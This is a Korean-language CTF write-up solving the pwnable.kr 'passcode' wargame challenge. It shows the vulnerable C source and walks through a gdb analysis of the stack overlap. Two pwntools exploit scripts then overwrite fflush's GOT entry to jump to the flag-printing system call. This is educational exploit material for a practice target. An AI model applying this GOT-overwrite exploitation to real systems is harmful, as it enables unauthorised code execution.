pwnable.kr (passcode)
다음과 같이 scp 명령어를 이용하여 파일을 받아오자.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
소스코드는 다음과 같다.
해당 소스코드에 이상한 점을 찾아보자.
우선 passcode1, passcode2를 입력받을 때 이상한 점이 존재한다.
정수를 입력받는데 변수에 &이 붙지 않았다.
따라서 입력을 하면 passcode1은 선언할 때 초기화하지 않았기 때문에 passcode1에 입력되는 것이 아니라 passcode1의 더미값에 입력을 하게 된다.
login()부분을 봤으니 이제 welcome() 부분을 보자.
welcome()에 scanf("%100s", name)을 이용해 passcode를 덮을 수 없을까 생각해보자.
다음과 같이 함수 두개를 연속해서 호출시킨다.
그럼 다음과 같은 과정을 거칠것이다.
다음과 같이 ebp 위치가 바뀌지 않을 거라고 예상할 수 있다.
예를 들어 name의 위치가 ebp-100이고 passcode1의 위치가 ebp-70 이면 name에서 입력받는 크기인 100 이상 차이가 나지 않기 때문에 name에서 덮어둔 데이터를 그대로 사용할 수 있게 된다.
gdb를 이용해서 까보도록 하자.
name의 버퍼 위치는 ebp-0x70이다.
passcode1의 버퍼 위치는 ebp-0x10이며, passcode2의 버퍼 위치는 ebp-0xc이다.
계산을 해보면 ebp-0xd까지 덮을 수 있으므로 passcode2는 덮지 못하지만 passcode1은 덮을 수 있다.
실제로 A를 100개 입력하면 scanf의 arg[1]이 0x41414141로 바뀌는 것을 확인할 수 있다.
자 그럼 이걸 가지고 무엇을 할 수 있을까?
우리는 이걸 이용해서 scanf로 입력하고 싶은 장소를 정해줄 수 있다.
따라서 우리는 이걸 아래와 같이 이용할 수 있다.
scanf(시스템 주소, fflush@got)
fflush@got를 login()함수의 system("/bin/cat flag")로 옮겨줌으로써 fflush가 실행될 때 system("/bin/cat flag")를 실행시킬 수 있다.
위와 같이 한다 했을 때 우리가 알아야 할 것은
- fflush@got 주소
- system("/bin/cat flag") 주소의 10진수 값
2 과정에서 10진수 값으로 필요한 이유는 scanf("%d")로 입력 받기때문이다.
그럼 구하러 가보자.
fflush@plt 주소는 0x08048430이였고 우리가 필요한 fflush@got주소는 0x0804a004였다.
그리고 login()에 존재하는 system("/bin/cat flag")주소는 0x080485e3이다.
10진수로 변환하면 134514147이 된다.
해당 정보들을 가지고 payload를 짜보면 아래와 같다.
from pwn import *
fflush_got = 0x0804a004
payload = b'A'*96
payload += p32(fflush_got)
payload2 = '134514147'
p = process('./passcode')
# s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
# p = s.process('/home/passcode/passcode')
p.sendline(payload)
p.sendline(payload2)
p.interactive()
물론 위와 같이 계산기로 계산하기 귀찮은 사람들은 아래와 같이 짜도 된다. 나도 처음에는 아래와 같이 짯다.
from pwn import *
fflush_got = 0x0804a004
get_flag = 0x080485e3
payload = b'A'*96
payload += p32(fflush_got)
payload2 = str(int(get_flag))
p = process('./passcode')
# s = ssh('passcode', 'pwnable.kr', password='guest', port=2222)
# p = s.process('/home/passcode/passcode')
p.sendline(payload)
p.sendline(payload2)
p.interactive()
다음과 같이 간이 flag를 생성시켜두고 시도를 해보았다.
성공적으로 flag가 나온것을 볼 수 있다.
이제 ssh접속을 해서 풀어보자.
삽질
갑자기 문득 scanf에 &가 붙고 안붙고에 어셈 차이가 궁금하여 실험하는 삽질을 했다....
둘다 ebp-0x10을 가지고 오긴 하지만 mov로 값을 가지고 오냐 lea로 주소를 가지고 오냐의 차이가 있었다.
C언어 공부할 때 이론으로 들었던거라서 알고 있었는데 직접 까보니까 뭔가 신기한거 같기도 하고 아닌거 같기도하고....
어셈을 자주 안보다보니 ebp-0x10에만 집중하여 lea랑 mov를 보질 않아서 무슨 차이가 있는지 한참 헤맸다....
이런 삽질 줄이도록 하자..
신기했던 점
아 그리고 신기한 점이 있었는데 32bit 환경에서는 push를 이용하여 스택에 쌓아두고 함수를 호출하는 것만 봤는데 이번에는 push명령어가 아닌 mov DWORD PTR [esp]를 이용하여 스택 최상단에 값을 쌓아두는 것을 봐서 개인적으로 신기했다.
Reference
https://blackperl-security.gitlab.io/blog/2016/03/07/2016-03-07-pltgot-01/
https://blackperl-security.gitlab.io/blog/2016/03/08/2016-03-08-pltgot-02/